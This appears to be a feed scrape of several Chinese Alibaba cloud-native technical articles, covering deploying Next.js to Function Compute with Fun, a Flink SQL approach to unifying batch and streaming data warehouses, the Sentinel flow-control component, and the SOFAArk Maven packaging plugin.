        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
        Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

        备注: 本文介绍的技巧需要 Fun 版本大于等于 3.7.0。

        背景

        Next.js 是一种 React 的服务端渲染框架,且 Next.js 集成度极高,框架自身集成了 webpack、babel、express 等,使得开发者可以仅依赖 Next、react、react-dom 就可以非常方便的构建自己的 SSR React 应用,开发者甚至都不用像以前那样关心路由。
        Next.js 的高度集成性,使得我们很容易就能实现代码分割、路由跳转、热更新以及服务端渲染和前端渲染。

        环境准备

        首先按照 Fun 的 安装文档 里介绍的方法将 Fun 安装到本机。
        PS: 本文介绍的方法,不需要安装 Docker,仅仅安装 Fun 即可,最简单的方式就是直接下载可执行的二进制文件。
        安装完成后,可以执行 fun --version 检查 Fun 是否安装成功。

        快速开始

        1. 创建一个 Next 项目,这里以 nextjs 为例:
        npm init next-app
        1. 进入到刚刚创建的示例项目中:
        cd nextjs
        1. 本地运行测试该示例:
        npm run dev 或者 yarn dev

        效果如下:
        20200313103411.jpg

        1. 编译 nextjs 项目:
        npm run build
        1. 部署项目到函数计算:
          仅需要一个命令fun deploy,Fun 会自动进入部署流程,在该流程中,用户仅仅需要按下一系列的回车即可。流程细节如下:
        1. Fun 检测到这不是一个 Fun 项目,会提示协助创建(直接回车或者输入 y 即可):
            ![20200313105720.jpg](https://intranetproxy.alipay.com/skylark/lark/0/2020/jpeg/200393/1584068254790-8f53c8aa-bcb5-4f91-9160-a028bbb9b13a.jpeg) 
        2.     Fun 项目自动创建成功,提示是否进行部署?可以直接回车,或者输入 y 进行确认:
          ![20200313111040.jpg](https://intranetproxy.alipay.com/skylark/lark/0/2020/jpeg/200393/1584069057784-57021e01-287a-4169-9237-22a65984ced2.jpeg) 
        3.  然后 Fun 会直接将应用部署到线上了。
            ![20200313111259.jpg](https://intranetproxy.alipay.com/skylark/lark/0/2020/jpeg/200393/1584069191767-2e544c50-a331-4dc3-9b45-f260f6447801.jpeg) 
        部署完成后,我们可以根据部署成功的日志看到,函数计算为我们生成了临时域名 14069166-1986114430573743.test.functioncompute.com,我们可以通过这个临时域名直接访问我们刚刚部署的应用。
        **注意:临时域名仅仅用作演示以及开发,是有时效的,如果用作生产,请绑定已经备案的域名,绑定自定义域名可以参考 [详情](https://statistics.functioncompute.com/?title=%E5%BF%AB%E9%80%9F%E8%BF%81%E7%A7%BB%20Next.js%20%E5%BA%94%E7%94%A8%E5%88%B0%E5%87%BD%E6%95%B0%E8%AE%A1%E7%AE%97&author=%E7%94%B0%E5%B0%8F%E5%8D%95&src=&url=https%3A%2F%2Fhelp.aliyun.com%2Fdocument_detail%2F90722.html)**
        

        总结

        本文主要介绍了如何将 Next.js 应用部署到函数计算。相比较与传统的部署方法,不仅没有更复杂,还省略了购买机器等步骤。实现,将传统的 Next.js 应用在本地开发完成后,一键部署到远端直接用于生产,并拥有了弹性伸缩、按量付费、免运维等特性。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        一套 SQL 搞定数据仓库?Flink有了新尝试 Fri, 02 May 2025 09:39:04 +0800 目前企业的数仓建设大多是离线一套,实时一套。业务要求低延时的使用实时数仓;业务复杂的使用离线数仓。架构十分复杂,需要使用很多系统和计算框架,这就要求企业储备多方面的人才,导致人才成本较高,且出了问题难以排查,终端用户也需要熟悉多种语法。本文分析目前的数仓架构,探索离线和实时数仓是否能放在一起考虑,探索Flink的统一架构是否能解决大部分问题。

        数仓架构

        image.png

        数据仓库可以分为三层:ODS(原始数据层)、DW(数据仓库层)、ADS(应用数据层)。

        1. ODS (Operation Data Store) 层

        从日志或者业务DB传输过来的原始数据,传统的离线数仓做法也有直接用CDC (Change Data Capture) 工具周期同步到数仓里面。用一套统一的Kafka来承接这个角色,可以让数据更实时的落入数仓,也可以在这一层统一实时和离线的。

        2. DW (Data warehouse) 层

        DW层一般也分为DWD层和DWS层:

        • DWD (Data warehouse detail) 层:明细数据层,这一层的数据应该是经过清洗的,干净的、准确的数据,它包含的信息和ODS层相同,但是它遵循数仓和数据库的标准Schema定义。
        • DWS (Data warehouse service) 层:汇总数据层,这一层可能经过了轻度的聚合,可能是星型或雪花模型的结构数据,这一层已经做了一些业务层的计算,用户可以基于这一层,计算出数据服务所需数据。

        3. ADS (Application Data Store) 层

        和DWS不同的是,这一层直接面向用户的数据服务,不需要再次计算,已经是最终需要的数据。

        主要分为两条链路:

        1. 业务DB和日志 -> Kafka -> 实时数仓 (Kafka + Dim维表) -> BI DB -> 数据服务
        2. 业务DB和日志 -> Kafka -> 离线数仓 (Hive metastore + HDFS) -> BI DB -> 数据服务

        主流的数仓架构仍然是Lambda架构,Lambda架构虽然复杂,但是它能覆盖业务上需要的场景,对业务来说,是最灵活的方式。

        Lambda架构分为两条链路:

        • 传统离线数据具有稳定、计算复杂、灵活的优点,运行批计算,保证T+1的报表产生和灵活的Ad-hoc查询。
        • 实时数仓提供低延时的数据服务,传统的离线数仓往往都是T+1的延时,这导致分析人员没法做一些实时化的决策,而实时数仓整条链路的延迟最低甚至可以做到秒级,这不但加快了分析和决策,而且也给更多的业务带来了可能,比如实时化的监控报警。Flink的强项是实时计算、流计算,而Kafka是实时数仓存储的核心。

        上图标出了1-9条边,每条边代表数据的转换,就是大数据的计算,本文后续将分析这些边,探索Flink在其中可以发挥的作用。

        Flink一栈式计算

        元数据

        先说下元数据的管理,离线数仓有Hive metastore来管理元数据,但是单纯的Kafka不具备元数据管理的能力,这里推荐两种做法:

        1)Confluent schema registry

        搭建起schema registry服务后,通过confluent的url即可获取到表的schema信息,对于上百个字段的表,它可以省编写Flink作业时的很多事,后续Flink也正在把它的schema推断功能结合Confluent schema registry。但是它仍然省不掉创建表的过程,用户也需要填写Confluent对应的URL。

        2)Catalog

        目前Flink内置已提供了HiveCatalog,Kafka的表可以直接集成到Hive metastore中,用户在SQL中可以直接使用这些表。但是Kafka的start-offset一些场景需要灵活的配置,为此,Flink也正在提供 LIKE [1] 和 Table Hints [2] 等手段来解决。

        Flink中离线数仓和实时数仓都使用Hive Catalog:

        use catalog my_hive;
        -- build streaming database and tables;
        create database stream_db;
        use stream_db;
        create table order_table (
            id long,
            amount double,
            user_id long,
            status string,
            ts timestamp,
            … -- 可能还有几十个字段
            ts_day string,
            ts_hour string
        ) with (
            ‘connector.type’ = ‘kafka’,
            … -- Kafka table相关配置
        );
        -- build batch database and tables;
        create database batch_db;
        use batch_db;
        create table order_table like stream_db.order_table (excluding options)
        partitioned by (ts_day, ts_hour)
        with (
            ‘connector.type’ = ‘hive’,
            … -- Hive table相关配置
        );

        使用Catalog,后续的计算可以完全复用批和流,提供相同的体验。

        数仓导入

        计算①和⑤分别是实时数仓的导入和离线数仓的导入,近来,更加实时的离线数仓导入越来越成为数据仓库的常规做法,Flink的导入可以让离线数仓的数据更实时化。

        以前主要通过DataStream + StreamingFileSink的方式进行导入,但是不支持ORC和无法更新HMS。

        Flink streaming integrate Hive后,提供Hive的streaming sink [3],用SQL的方式会更方便灵活,使用SQL的内置函数和UDF,而且流和批可以复用,运行两个流计算作业。

        insert into [stream_db.|batch_db.]order_table select … from log_table;

        数据处理

        计算②和⑥分别是实时数仓和离线数仓的中间数据处理,这里面主要有三种计算:

        1. ETL:和数据导入一样,批流没有区别。
        2. 维表Join:维表补字段是很常见的数仓操作,离线数仓中基本都是直接Join Hive表即可,但是Streaming作业却有些不同,下文将详细描述。
        3. Aggregation:Streaming作业在这些有状态的计算中,产生的不是一次确定的值,而可能是不断变化的值。

        维表Join

        与离线计算不同,离线计算只用关心某个时间点的维表数据,而Streaming的作业持续运行,所以它关注的不能只是静态数据,需要是动态的维表。

        另外为了Join的效率,streaming作业往往是join一个数据库表,而不仅仅是Hive表。

        例子:

        -- stream 维表
        use stream_db;
        create table user_info (
            user_id long,
            age int,
            address,
            primary key(user_id)
        ) with (
            ‘connector.type’ = ‘jdbc’,
            ...
        );
         
        -- 将离线数仓的维表导入实时数仓中
        insert into user_info select * from batch_db.user_info;
         
        -- 维表Join,SQL批流复用
        insert into order_with_user_age select * from order_table join user_info for system_time as of order_table.proctime on user_info.user_id = user_info.user_id;

        这里有个非常麻烦的事情,那就是在实时数仓中,需要按时周期调度更新维表到实时维表数据库中,那能不能直接Join离线数仓的Hive维表呢?目前社区也正在开发Hive维表,它有哪些挑战:

        Hive维表太大,放不进Cache中:

        • 考虑Shuffle by key,分布式的维表Join,减少单- 并发Cache的数据量
        • 考虑将维表数据放入State中

        维表更新问题:

        • 简单的方案是TTL过期
        • 复杂一些的方案是实现Hive streaming source,并结合Flink的watermark机制

        有状态计算和数据导出

        例子:

        select age, avg(amount) from order_with_user_age group by age;

        一句简单的聚合SQL,它在批计算和流计算的执行模式是完全不同的。

        Streaming的聚合和离线计算的聚合最大的不同在于它是一个动态表[4],它的输出是在持续变化的。动态表的概念简单来说,一个streaming的count,它的输出是由输入来驱动的,而不是像batch一样,获取全部输入后才会输出,所以,它的结果是动态变化的:

        • 如果在SQL内部,Flink内部的retract机制会保证SQL 的结果的与批一样。
        • 如果是外部的存储,这给sink带来了挑战。

        有状态计算后的输出:

        • 如果sink是一个可更新的数据库,比如HBase/Redis/JDBC,那这看起来不是问题,我们只需要不断的去更新就好了。
        • 但是如果是不可更新的存储呢,我们没有办法去更新原本的数据。为此,Flink提出了Changelog的支持[5],想内置支持这种sink,输出特定Schema的数据,让下游消费者也能很好的work起来。

        例子:

        -- batch:计算完成后,一次性输出到mysql中,同key只有一个数据
        -- streaming:mysql里面的数据不断更新,不断变化
        insert into mysql_table select age, avg(amount) from order_with_user_age group by age;
        -- batch: 同key只有一个数据,append即可
        insert into hive_table select age, avg(amount) from order_with_user_age group by age;
        -- streaming: kafka里面的数据不断append,并且多出一列,来表示这是upsert的消息,后续的Flink消费会自动做出机制来处理upsert
        insert into kafka_table select age, avg(amount) from order_with_user_age group by age;

        AD-HOC与OLAP

        离线数仓可以进行计算⑨,对明细数据或者汇总数据都可以进行ad-hoc的查询,可以让数据分析师进行灵活的查询。

        目前实时数仓一个比较大的缺点是不能Ad-hoc查询,因为它本身没有保存历史数据,Kafka可能可以保存3天以上的数据,但是一是存储成本高、二是查询效率也不好。

        一个思路是提供OLAP数据库的批流统一Sink组件:

        • Druid sink
        • Doris sink
        • Clickhouse sink
        • HBase/Phoenix sink

        总结

        本文从目前的Lambda架构出发,分析了Flink一栈式数仓计算方案的能力,本文中一些Flink新功能还在快速迭代演进中,随着不断的探索和实践,希望朝着计算一体化的方向逐渐推进,将来的数仓架构希望能真正统一用户的离线和实时,提供统一的体验:

        • 统一元数据
        • 统一SQL开发
        • 统一数据导入与导出
        • 将来考虑统一存储

        参考

        [1]https://cwiki.apache.org/confluence/display/FLINK/FLIP-110%3A+Support+LIKE+clause+in+CREATE+TABLE

        [2]https://cwiki.apache.org/confluence/display/FLINK/FLIP-113%3A+Supports+Table+Hints

        [3]https://cwiki.apache.org/confluence/display/FLINK/FLIP-115%3A+Filesystem+connector+in+Table

        ]]>
        GitHub 标星 11000+,阿里开源的微服务组件如何连续 10 年扛住双十一大促? Fri, 02 May 2025 09:39:04 +0800 0.png

        作者 | 宿何  阿里云高级开发工程师

        导读:疫情期间,“卡”成了很多人线上体验的关键词。线上预约购买口罩时,突然不能付款了;在线选课,被提示请求过多,系统无法响应;在线办公/教学时,图像或声音卡住了……这些可用性下降的场景严重的影响了用户体验,也降低了公司的工作效率。面对“卡”住了的情况 ,作为开发者的我们,需要预先通过一些手段来提前对不稳定的因素进行防护,同时在突发流量的情况下,也要具备快速止损的能力。

        近年来,微服务的稳定性一直是开发者非常关注的话题。随着业务从单体架构向分布式架构演进以及部署方式的变化,服务之间的依赖关系变得越来越复杂,业务系统也面临着巨大的高可用挑战。

        如何保障服务的可用性?这是一个非常庞大的话题,涉及到方方面面,其中一个重要的手段就是流控降级。

        为什么要进行流控降级?

        流量是非常随机性的、不可预测的。前一秒可能还风平浪静,后一秒可能就出现流量洪峰了(例如 双11 零点的场景)。

        然而我们的系统容量总是有限的,如果突如其来的流量超过了系统的承受能力,就可能会导致请求处理不过来,堆积的请求处理缓慢,CPU/Load 飙高,最终导致系统崩溃。因此,我们需要针对这种突发的流量来进行限制,在尽可能处理请求的同时来保障服务不被打垮。

        一个服务常常会调用别的模块,可能是另外的一个远程服务、数据库,或者第三方 API 等。

        例如,支付的时候,可能需要远程调用银联提供的 API;查询某个商品的价格,可能需要进行数据库查询。然而,这个被依赖服务的稳定性是不能保证的。如果依赖的服务出现了不稳定的情况,请求的响应时间变长,那么调用服务的方法的响应时间也会变长,线程会产生堆积,最终可能耗尽业务自身的线程池,服务本身也变得不可用。

        现代微服务架构都是分布式的,由非常多的服务组成。不同服务之间相互调用,组成复杂的调用链路。以上的问题在链路调用中会产生放大的效果。复杂链路上的某一环不稳定,就可能会层层级联,最终导致整个链路都不可用。因此我们需要对不稳定的服务进行熔断降级,暂时切断不稳定调用,避免局部不稳定因素导致整体的雪崩。

        那么是不是服务的量级很小就不用进行限流防护了呢?是不是微服务的架构比较简单就不用引入熔断保护机制了呢?

        其实,这与请求的量级、架构的复杂程度无关。很多时候,可能正是一个非常边缘的服务出现故障而导致整体业务受影响,造成巨大损失。我们需要具有面向失败设计的意识,在平时就做好容量规划和强弱依赖的梳理,合理地配置流控降级规则,做好事前防护,而不是在线上出现问题以后再进行补救。

        那么大家可能想问:有没有什么方法来快速进行高可用防护呢?如何做到均匀平滑的用户访问?如何预防这些不稳定因素带来的影响?今天我们就来大家具体分享承载阿里巴巴近 10 年双十一大促稳定性场景的流量控制组件 —— Sentinel 的实践。

        Sentinel:面向云原生微服务的流量控制、熔断降级组件

        Sentinel 是阿里巴巴开源的,面向分布式服务架构的流量控制组件,目前在 GitHub 已收获 11,071 Star。

        该组件主要以流量为切入点,从流量控制、流量整形、熔断降级、系统自适应保护等多个维度来帮助开发者保障微服务的稳定性。Sentinel 承接了阿里巴巴近 10 年的 双11 大促流量的核心场景,例如秒杀、冷启动、消息削峰填谷、集群流量控制、实时熔断下游不可用服务等,是保障微服务高可用的利器。

        1.jpeg

        Sentinel 里的两个核心概念 —— 资源与规则。资源(Resource)可以理解为需要进行防护的代码块(或调用),比如 SQL 访问、REST API 访问、Dubbo 服务调用、Reactive 响应式服务、API 网关的路由访问,甚至是任意的代码块,都可以作为 Sentinel 的资源。

        用户可以通过 Sentinel API 或注解手动进行资源埋点,或者通过 Sentinel 提供的框架适配模块引入依赖一键接入。规则则是针对某个资源进行的控制手段,比如我们可以针对某个服务、方法来配置流控规则、降级规则等来达到高可用防护的效果。

        其核心特性与技术如下:

        • 基于滑动窗口结构的实时统计,性能好的同时又可以保证统计的准确性;
        • 高度可扩展能力:基础核心 + SPI 接口扩展能力,用户可以方便地扩展流控、通信、监控等功能;
        • 多样化的流量控制策略(资源粒度、调用关系、流控指标、流控效果等多个维度),提供分布式集群流控的能力,同时提供热点流量探测和防护的能力;
        • 对不稳定服务进行熔断降级和隔离;


        • 全局维度的系统负载自适应保护,根据系统水位实时调节流量;
        • 覆盖 API Gateway 场景,为 Spring Cloud Gateway、Zuul 提供网关流量控制的能力;
        • 云原生场景提供 Envoy 服务网格集群流量控制的能力;
        • 实时监控和规则动态配置管理能力。

        同时,Sentinel 提供一个简单的所见即所得的控制台,可以接入控制台对服务进行实时监控,同时可以在控制台实时配置、管理规则:

        2.jpeg

        下面介绍 Sentinel 的一些常见的使用场景和最佳实践:

        在服务提供方(Service Provider)的场景下,我们需要保护服务提供方自身不被流量洪峰打垮。这时候通常根据服务提供方的服务能力进行流量控制,或针对特定的服务调用方进行限制。我们可以结合前期压测评估核心接口的承受能力,配置 QPS 模式的限流,当每秒的请求量超过设定的阈值时,会自动拒绝多余的请求。

        为了避免调用其他服务时被不稳定的服务拖垮自身,需要在服务调用端(Service Consumer)对不稳定服务依赖进行隔离和熔断。手段包括信号量隔离、异常比例降级、RT 降级等多种手段。

        当系统长期处于低水位的情况下,流量突然增加时,直接把系统拉升到高水位可能瞬间把系统压垮。这时候我们可以借助 Sentinel 的 WarmUp 流控模式控制通过的流量缓慢增加,在一定时间内逐渐增加到阈值上限,而不是在一瞬间全部放行。这样可以给冷系统一个预热的时间,避免冷系统被压垮。

        利用 Sentinel 的匀速排队模式进行“削峰填谷”,把请求突刺均摊到一段时间内,让系统负载保持在请求处理水位之内,同时尽可能地处理更多请求。

        利用 Sentinel 的网关流控特性,在网关入口处进行流量防护,同时可以针对不同用户、IP 来分别限制 API 的调用频率。在 Istio+Envoy 架构下快速接入 Sentinel RLS token server,为 Envoy 集群提供全局流量控制的能力。

        Sentinel 的开源生态

        Sentinel 有着丰富的开源生态,覆盖微服务、API Gateway 与 Service Mesh 几大核心生态。

        Sentinel 开源不久就被纳入 CNCF Landscape 版图,并且也成为 Spring Cloud 官方推荐的流控降级组件之一。社区提供 Spring Cloud、Dubbo、gRPC 等常用框架的适配,开箱即用;同时支持 Reactive 生态,支持 Reactor、Spring WebFlux 异步响应式架构。Sentinel 也在逐渐覆盖 API Gateway 和 Service Mesh 场景,在云原生架构中发挥更大的作用。

        3.jpeg

        Sentinel 多语言演进及未来展望

        Sentinel 初期主要面向 Java 微服务,同时也在朝着多语言扩展的方向不断探索。去年中旬,Sentinel 推出 C++ 原生版本,同时针对 Service Mesh 场景,Sentinel 也推出了 Envoy 集群流量控制的支持,可以解决 Service Mesh 架构下多语言限流的问题。

        近期,Sentinel 多语言俱乐部又迎来新的一员 —— Sentinel Go 首个原生版本正式发布,为 Go 语言的微服务提供流控降级、系统保护等特性的原生支持。开发者只需简单的几步即可快速接入 Sentinel,享受到以下能力:

        • 精确限制接口级别的 QPS,防止打垮核心接口;
        • 削峰填谷,激增的请求排队等待处理;
        • 自适应的系统维度流量保护,结合 load 等系统指标以及服务实时的请求量和响应时间来自动拒绝多余的流量,尽可能地提升吞吐量的同时保证服务不挂;
        • 实时的秒级监控能力,通过监控日志了解系统的实时流量情况。

        在接下来的版本中,Sentinel Go 将会陆续推出熔断降级、热点参数统计与流控等一系列的稳定性保障能力。同时,社区也会陆续提供与常用的框架和云原生组件的整合模块。

        未来,Sentinel 还会朝着多语言和云原生的方向持续演进。

        Sentinel 目前已支持 Java、Go、C++ 三种语言,未来社区还会支持更多语言。同时我们会不断完善 API Gateway 及 Service Mesh 的流控场景,如原生 Istio Service Mesh 整合,方便开发者在各种云原生场景下快速接入 Sentinel 享受高可用防护的能力。

        社区后面也计划提供与 Prometheus 等云原生监控组件的整合,可以利用 Sentinel 的指标统计数据进行接口级别的监控,同时结合 K8S HPA 弹性机制、自适应流控等,来提供自动化的稳定性保障。

        云原生团队招人啦

        如果你符合以下条件,欢迎投递简历加入我们!

        • 3 年以上分布式系统相关经验,熟悉高并发,分布式通信,存储等相关技术;
        • 熟练掌握 Golang/Java 语言开发,具备 Python, Shell 等其它一种或多种语言开发经验;
        • 对容器和基础设施相关领域的技术充满热情,有 PaaS 平台相关经验,在相关的领域如 Kubernetes、Serverless 平台、容器技术、应用管理平台等有丰富的积累和实践经验(如产品落地,创新的技术实现,开源的突出贡献,领先的学术研究成果等)。

        简历投递通道:cloudnativehire@list.alibaba-inc.com

        2群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

        ]]>
        蚂蚁金服轻量级类隔离框架 Maven 打包插件解析 | SOFAArk 源码解析 Fri, 02 May 2025 09:39:04 +0800

        SOFAStack(Scalable Open Financial Architecture Stack)是蚂蚁金服自主研发的金融级云原生架构,包含了构建金融级云原生架构所需的各个组件,是在金融场景里锤炼出来的最佳实践。

        maven打包

        本文为《剖析 | SOFAArk 实现原理》第二篇,本篇作者盲僧,来自 OYO。《剖析 | SOFAArk 实现原理》系列由 SOFA 团队和源码爱好者们出品,项目代号:,文末附系列共建列表,目前已完成领取。

        前言

        SOFAArk 是 SOFA 团队开源的又一款扛鼎力作,它是一款基于 Java 实现的轻量级类隔离容器,主要提供类隔离和应用(模块)合并部署的能力。

        从 2016 年底开始,蚂蚁金服内部开始拥抱新的轻量级类隔离容器框架-SOFAArk。截止 2019 年底,SOFAArk 已经在蚂蚁金服内部 Serverless 场景下落地实践,并已经有数家企业在生产环境使用 SOFAArk ,包括网易云音乐、挖财、溢米教育等。

        本文主要介绍下 SOFAArk Biz 包的打包插件,帮助大家更好的去理解 Biz 包的结构,也是为系列文章做好铺垫。

        SOFAArk biz 的打包插件是 sofa-ark-maven-plugin ,它可以将普通 Java 工程或者 Spring Boot 工程打包成标准格式的 Ark 包或者 Ark Biz 包,关于 Ark 包和 Ark Biz 包可以参考这里:

        本文将从如下三个方面进行介绍:先对插件的使用和打包出来的产物做一个简单介绍,然后告诉大家调试插件的方法,最后对整个插件的原理做一个流程图和阐述。

        SOFAArk :https://github.com/sofastack/sofa-ark

        SOFAArk 插件使用

        文中的示例代码可以参考 我的 github

        插件使用

        先将 Spring Boot 的打包插件 spring-boot-maven-plugin  删除或者注释,然后再引入如下插件即可:

        <plugin>
            <groupId>com.alipay.sofa</groupId>
            <artifactId>sofa-ark-maven-plugin</artifactId>
            <version>1.1.1</version>
            <executions>
                <execution>
                    <goals>
                        <goal>repackage</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>

        执行 mvn package 命令后,将会打出如下结构的 3 个 jar 包,大家可以自行解压这三个 jar 包,看一看里面的具体内容,下面我们简单分析一下:

        三个 jar 包

        tutorial-sofa-ark-maven-plugin-1.0.0-SNAPSHOT.jar :它是 maven 插件打出来的原生 jar 包,只包含我们写的代码和 manifest 文件,无特殊意义。

        tutorial-sofa-ark-maven-plugin-1.0.0-SNAPSHOT-ark-biz.jar :这个 jar 包称之为 Ark Biz 包,因为 SOFAArk 容器是支持运行多个 Ark Biz 的,所以打成这种包是为了和别的项目一起合并部署使用,另外 Ark 包里也包含了这个。

        tutorial-sofa-ark-maven-plugin-1.0.0-SNAPSHOT-ark-executable.jar :这个 jar 包称之为 Ark 包,从字面上来看它是一个可执行的 jar 包,即意味着它是一个可以用 java-jar 命令来单独运行的 Fat Jar,类似于我们用 Spring Boot 插件打出来的包。

        后面的分析主要是围绕 Ark 包来做讲解,因为它包含了 Ark Biz 包,所以只要搞明白它是如何生成的,那么对整个插件的原理也就基本了解了。

        与 Spring Boot 插件对比

        要想分析出 sofa-ark-maven-plugin 插件的作用,我们需要先和 Spring Boot 的插件进行对比,从打包产物上直观的感受一下两者的区别。

        spring-boot-maven-plugin 插件

        spring-boot-maven-plugin 是 SpringBoot 默认提供的打包插件,其功能就是将工程打包成一个可执行的 FATJAR。spring-boot-maven-plugin 打包产物的目录结构如下:

        ├── BOOT-INF
        │   ├── classes # 应用的字节码目录
        │   └── lib # 应用所依赖的 jar 包
        ├── META-INF
        │   ├── MANIFEST.MF # manifest 文件信息
        │   └── maven # 应用的坐标信息
        └── org
            └── springframework
                └── boot
                    └── loader # 存放的是 Spring Boot Loader 的 class 文件
                        ├── JarLauncher.class # Spring Boot 启动类
                        ├── archive
                        ├── data
                        ├── jar
                        └── util

        MANIFEST.MF 文件内容:

        Manifest-Version: 1.0
        Archiver-Version: Plexus Archiver
        Built-By: rrz
        Start-Class: pers.masteryourself.tutorial.sofa.ark.maven.plugin.MavenP
         luginApplication
        Spring-Boot-Classes: BOOT-INF/classes/
        Spring-Boot-Lib: BOOT-INF/lib/
        Spring-Boot-Version: 2.1.4.RELEASE
        Created-By: Apache Maven 3.5.3
        Build-Jdk: 1.8.0_101
        Main-Class: org.springframework.boot.loader.JarLauncher

        MANIFEST.MF 文件中可以看到,描述了当前 jar 的一些核心元素,包括启动类、class 文件路径、lib 依赖路径、jdk 版本等等,这里需要关注的是 Main-Class,SpringBoot 就是通过该类来引导启动的。SOFAArk 应用也提供了类似的引导类及其自身特殊的结构,这主要就依托于 sofa-ark-maven-plugin 来完成的。

        sofa-ark-maven-plugin 插件

        关于 sofa-ark-maven-plugin 的使用方式可以参考官方文档进行配置,篇幅原因,这里不再赘述。下面就直接来看下 sofa-ark-maven-plugin 插件的打包产物及目录结构,然后类比于 SpringBoot 的 FatJar 结构来理解 SOFAArk 中的一些概念和逻辑。

        .
        ├── SOFA-ARK
        │   ├── biz
        │   │   └── tutorial-sofa-ark-maven-plugin-1.0.0-SNAPSHOT-ark-biz.jar # Ark Biz 包
        │   └── container
        │       └── sofa-ark-all-1.1.1.jar # sofa ark 容器提供的包
        ├── META-INF
        │   └── MANIFEST.MF # manifest 文件信息
        └── com
            └── alipay
                └── sofa
                    └── ark
                        ├── bootstrap
                        │   ├── ArkLauncher.class # SOFA Ark 启动类
                        ├── common
                        │   ├── util
                        ├── loader
                        │   ├── archive
                        │   ├── data
                        │   ├── jar
                        └── spi
                            ├── archive
                            └── constant

        MANIFEST.MF 文件内容:

        Manifest-Version: 1.0
        web-context-path: /
        Archiver-Version: Plexus Archiver
        Built-By: rrz
        Ark-Biz-Name: tutorial-sofa-ark-maven-plugin
        Sofa-Ark-Version: 1.1.1
        deny-import-packages: 
        priority: 100
        Main-Class: com.alipay.sofa.ark.bootstrap.ArkLauncher
        deny-import-classes: 
        Ark-Container-Root: SOFA-ARK/container/
        deny-import-resources: 
        Ark-Biz-Version: 1.0.0-SNAPSHOT
        Created-By: Apache Maven 3.5.3
        Build-Jdk: 1.8.0_101

        两者对比,可以发现,SOFAArk 的包结构相对于 SpringBoot 的包结构要更加多元一点,这里主要原因在于,SOFAArk 除了提供业务 Biz 包(可以理解为 SpringBoot 的 FatJat)之外,还包括了 container,也就是 Ark 容器;这种机制带来的好处是,业务可以将多个关联的业务 Biz 放在一起来启动,这样在同一个 JVM 进程之内就可以存在多个业务模块单元,优势在于:

        • 关联业务的合并部署,减少机器资源开销;
        • 同一 JVM 进程之内,JVM 服务替代 RPC 服务,减少各业务单元之间的网络通信开销,提高性能;

        另外从 MANIFEST.MF 文件中也可以发现,SOFAArk 中的启动引导类与 SpringBoot 也是不同的,关于这部分,将会在后续的文章中逐一解析,敬请期待。下面再通过启动顺序来进一步了解下 FatJar 个 Ark 包之间的差异,以便大家更好的理解 ark 打包插件存在的真正意义。

        PS:如果我们在打包时引入了 plugin 类型的包,那么在 SOFA-ARK 目录下还会有个 plugin 目录(这里没有用到)。

        启动顺序分析

        基于上述插件部分的对比,我们再来看看官网对 SOFAArk 的定义:它是一款基于 Java 实现的轻量级类隔离容器,主要提供类隔离和应用(模块)合并部署能力。重点是它能够提供合并部署能力(显然指的是 SOFA-ARK/biz 目录允许放多个 Ark Biz 包),这是 SpringBoot FatJar 无法做到的,既然如此,那么两者的启动顺序也必然有差别,下面简单探究一下。

        首先分析下 Spring Boot 的启动流程,在执行 java-jar 命令后,程序会调用 META-INFMANIFEST.MF 中定义的启动类的 main 方法,即 org.springframework.boot.loader.JarLauncher ,然后 Spring Boot 会去构建一个 LaunchedURLClassLoader ,它是一个自定义的 ClassLoader ,利用它去加载 BOOT-INF 下的 lib 和 classes 目录,最后会通过反射调用 Start-class 对应的启动类,从而启动整个业务的代码,这里用简单的一张图来描述下:

        Spring Boot 启动流程

        而 SOFAArk 的启动流程呢?我们可以参考下官网给出的详细启动流程 ,这里我们简单抽象出几个重要步骤:

        容器运行流程图

        显而易见,SOFA Ark 并不是简单的将一个 FatJar 启动起来,在这个过程中,还包括了启动 Ark Container 和 Ark Plugin,而正是因为 Ark Container 的存在,才使得多 biz 合并部署成为可能;下面就来揭开 ark 包的整个构建过程。

        插件原理分析

        搞清楚了插件的使用和作用后,我们就可以对插件的底层实现一探究竟了,下面我们通过 debug 的方式来看看 sofa-ark-maven-plugin 是如何构建 biz 包的。

        Deubg Maven 插件

        关于如果 debug maven 打包插件,可以参考这篇文章:http://www.glmapper.com/2019/07/23/maven-debug/。断点位置参考下图:

        断点位置

        插件执行流程

        maven 插件的源码说到底就是对文件流的操作,比较枯燥无味,所以这里准备了一个流程图,大致分析出了 sofa-ark-maven-plugin 的整个原理,各位可根据流程图自行对比源码进行分析。

        sofa-ark-maven

        总结

        通过上述内容的分析,我们应该了解了整个 sofa-ark-maven-plugin 的运行流程和原理了,无非是基于 Java 文件流的方式去生成特殊结构的 jar 包,然后通过定制化的启动流程,使得在业务 biz 包代码执行之前,先启动 ark 容器,提供一系列的特殊功能,最后再启动 biz。

        欢迎参加 SOFAArk 源码解析

        《剖析 | SOFAArk 源码》系列已经开启,会逐步详细介绍各个部分的代码设计和实现,预计按照如下的目录进行:

        • 【已完成】轻量级类隔离框架 SOFAArk 简介
        • 【已完成】SOFAArk Maven 打包插件解析
        • 【已认领】SOFAArk 容器模型解析
        • 【已认领】SOFAArk 类加载模型机制解析
        • 【已认领】SOFAArk 合并部署能力解析
        • 【已认领】SOFAArk SPI 机制和 ClassLoaderHook 机制解析
        • 【已认领】SOFAArk 动态配置机制解析
        • 【已认领】(实践)SOFAArk 插件化机制解析与实践

        以上目录已经完成认领,除以上目录涉及的内容外,如果您对 SOFAArk 的其他模块也有想要分享的内容,欢迎您联系我们参与源码解析系列共建。

        参与方式

        在【金融级分布式架构】公众号后台留言“SOFAArkLab”,我们将会主动联系你,确认分享内容主题与细节,即可加入,It's your show time!

